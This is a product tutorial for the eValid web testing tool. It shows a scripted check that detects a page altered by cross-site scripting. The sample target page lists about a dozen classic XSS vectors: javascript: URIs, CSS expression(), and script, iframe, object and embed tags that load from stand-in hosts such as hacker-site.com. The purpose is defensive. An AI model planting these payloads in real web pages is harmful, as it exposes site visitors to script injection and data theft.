eValid -- Security Testing Examples -- Penetration Testing

eValid™ -- Automated Web Quality Solution
Browser-Based, Client-Side, Functional Testing & Validation,
Load & Performance Tuning, Page Timing, Website Analysis,
and Rich Internet Application Monitoring.

Security Testing Examples -- Penetration Testing
eValid Home

Cybersecurity testing often requires making many analyses, at regularly scheduled intervals, to identify a potential exploit. This example illustrates how eValid is applied in one specific way to a web page or web application to search for a pattern that may represent a possible exploit. To apply this method in your specific situation you will need to make decisions about what pages to scan, what specific patterns or features to look for, and how to handle the information that is generated. Web application security requires careful planning and test execution analysis. eValid enables such work.

Overview
This example illustrates how eValid is used to detect a simple penetration test that exploits a JavaScript flaw in a web page.

The basic method used in this test is to identify a particular element in the page that may have been hacked by forcing a particular modification (the incorrect value) into the page. This is done by:

Finding an element in the page that has both a REL and a stylesheet value in the innerHTML.
Confirming that the "hacked" page contains modified (an incorrect) content.

Summary Of Example
Here are the main steps in this example:

Typical Target Page
Here is the HTML content of a target page. This page has some very unusual (and non-standard, and not recommended) HTML constructions that present good opportunities for exploitation. The exploit demonstrated here with this page is only one of over a dozen types of exploits that are possible for this page.

In this example, the goal of the test is to discover that the page has been hacked using a JavaScript exploit based in a LINK element.

Caution: This page has some very unusual properties; don't launch it unless you are prepared for trouble!

<HTML>
<BODY>
<P><SCRIPT SRC=http://hacker-site.com/xss.js></SCRIPT>

<P><SCRIPT> alert("XSS"); </SCRIPT>

<P><IMG SRC="javascript:alert('XSS');">

<P><IMG DYNSRC="javascript:alert('XSS')">

<P><IMG LOWSRC="javascript:alert('XSS')">

<P><IFRAME SRC="http://hacker-site.com/xss.html">

<P><LINK REL="stylesheet" HREF="javascript:alert('XSS');">

<P><TABLE BACKGROUND="javascript:alert('XSS')">

<P><TD BACKGROUND="javascript:alert('XSS')">

<P><DIV STYLE="background-image: url(javascript:alert('XSS'))">

<P><DIV STYLE="width: expression(alert('XSS'));">

<P><OBJECT TYPE="text/x-scriptlet" DATA="http://hacker.com/xss.html">

<P><EMBED SRC="http://hacker.com/xss.swf" AllowScriptAccess="always">
</BODY>
</HTML>

Potentially Offending Page
Here is the page with the above HTML and what it looks like if you render it in the browser:
Behavior of Offending Page
If you click "OK" on this modal on this web page -- as it is requesting that you do -- this is the page that results. The extra material on the lower left is NOT supposed to be able to appear at this location. It arises because the page has been hacked.
Test Script Design and Playback
The eValid test script -- shown at the bottom of the page -- opens the potentially offending page normally.
1. The script uses a PlayValue command to suppress the problematic modal popup (to prevent any strange behavior during playback). The script does NOT click on the modal even though requested.
2. The next step in the script is to confirm that this page is served from the correct domain. A common form of hacking is to serve a hacked version of your page from a different domain. This is done with successive commands: ValidateDocumentPartialURL, makes sure that the correct domain at least appears in the page URL; and, ValidateDocumentServer confirms that the complete URL is the required one.
3. Next, a general search of the page is made using eValid's IndexFindElement and IndexFindElementEx commands. The first search is to position the internal sourceIndex to point at the page's tag that specifies the IFRAME as its tagName. This HTML construction is shown in boldface in the page content shown above.
  The second regular expression search examines the DOM attempting to find, from that starting point, a page element which in the innerHTML property both the string REL and the string stylesheet.
  The general search is done because a hacked page may have had the overall structure altered; doing a validation of an object at a specific (pre-determined) sourceIndex would not necessarily detect the change induced by the hack.
4. Once found, the script then extracts the contents of the src property of that element and stores it into a local file called currentValue.txt.
5. Finally, the script compares contents of what was extracted from the page with the contents of the ShouldBe.txt -- what the string should be if the page were not hacked.
Test Completion
The end of test playback data normally shows that an error was detected during playback and that the test FAILs (red screen). This is the expected result in this example.
Analysis of Test Playback
Here is the playback summary page for this test showing the details of the test just completed. If the page had been hacked many of the parameters described in this report would probably also have been altered.
Event Log Reveals Error Detection Process
This fragment of the playback EventLog shows the results of running the test. The left-hand side shows elapsed time for the playback, in msec.
At 4860-4914 msec after start of test (at top of image) you can see the details of the regular expression search done on the page's Document Object Model (DOM). The EventLog indicates statistics of the search, and indicates where the combined multi-factor match in the page was made.
At 5077-5277 msec after start of the test (near bottom of the page) you can see the comparison of the current value.
At 5103 msec you see that the Base and Response strings differ -- meaning that the test FAILs.
Display of "mysite.com" Response
Here is mysite.com
Display of "hacker-site.com" Hacked Response
Here is hacker-site.com

eValid Test Script
Here is the test script used for this example:

# Copyright (c) 2013 by Software Research, Inc. 
# Recording made on: Microsoft Windows XP"

ProjectID "ProjExample"
GroupID "Security"
TestID "penetrationtest"
LogID "AUTO"

DeleteCache
DeleteCookies

# Use a special PlayValue command to suppress modal pop-ups,
# because we need to see such requests...

PlayValue _PS 0

# Got to the demonstration page...
InitLink "http://www.e-valid.com/Products/Documentation.9/Security/Examples" \
	"/Penetration/cyberpenetration.html"

# Validate for expected mydomain and URL labels in the page...
ValidateDocumentPartialURL 0 "mydomain.com" ""
ValidateDocumentServer 0 "http://mydomain.com/intended_webpage.html" ""

# Find the correct page element...
IndexSet 0
IndexFindElement 0 DOWN "tagName" "IFRAME" ""
IndexFindElementEx 0 DOWN "name:innerHTML" "value:REL" \
	"name:innerHTML" "value:stylesheet" ""

# Extract the value and save it for comparison...
ValueGetElement 0 "src" ""
ValueSave "currentValue.txt"
CompareStrings "shouldBe.txt" "currentValue.txt"

# Be on the lookout, if there are any unwanted, penetrated information...

# Run the comparison
MatchNotString 0 "xss" 0 ""

# Save a record of what was found and may requiring further checking...
SaveRecord Triggerfile.txt "Date and Time: \t%T"
SaveRecord Triggerfile.txt " on page: \tURL=$_StartURL"

# (optional:) Notify the user about the result
#
# OnErrorSendFile "email-address" "subject" "Triggerfile.txt"

# End of script.

Technical References
Here are some key technical references:

Security Testing Examples -- Penetration Testing eValid Home

Security Testing Examples -- Penetration Testing
eValid Home